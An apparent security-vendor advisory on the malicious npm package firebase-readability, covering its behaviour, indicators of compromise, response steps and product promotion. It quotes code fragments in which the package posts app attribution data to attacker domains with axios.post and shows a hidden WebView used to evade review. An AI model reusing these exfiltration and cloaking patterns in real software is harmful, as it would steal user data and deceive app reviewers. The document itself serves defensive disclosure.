firebase-readabilitynpm
firebase-readability is a confirmed malicious npm package (MAL-2026-6160) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 2.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in firebase-readability (npm)
What this malware does
The npm package firebase-readability (published by npm user sproger, [email protected]) is a deceptive React Native component and part of a coordinated 37-package campaign across two attacker-controlled domains (surrprisingcoompanny.lol and barbellmate.xyz). On component mount it registers appsFlyer.onInstallConversionData and exfiltrates the app's install/conversion attribution data via axios.post("https://barbellmate.xyz", data), fetches a remote-config URL, and renders it full-screen in a react-native-webview that is hidden (display:'none') unless the server returns a valid URL — i.e. App Store review-evasion / attribution-laundering ('cloaking'). The package name is a decoy unrelated to its actual function, and the real logic is concealed behind junk 'calculator' functions with Ukrainian-language comments. Indicators of compromise: C2 surrprisingcoompanny.lol, barbellmate.xyz; npm author sproger. Both C2 domains are currently unregistered (dangling-C2 takeover risk for any app still shipping these packages). Reproducible from the published tarball, e.g. [email protected] SocketComponent*.jsx: appsFlyer.onInstallConversionData(...) -> axios.post("https://surrprisingcoompanny.lol", data); axios.get(fLink) remote config; hidden <WebView source={{uri: techResult}}> gated on display:'none'/'flex'.
Malicious versions
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for firebase-readability (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging firebase-readability across your stack and pipelines.
If you installed it — respond
firebase-readability is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If firebase-readability was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks firebase-readability before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
References
Credits
- WestBayBerry / dependency-guardian · finder
Detect & block this
O3 blocks firebase-readability-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.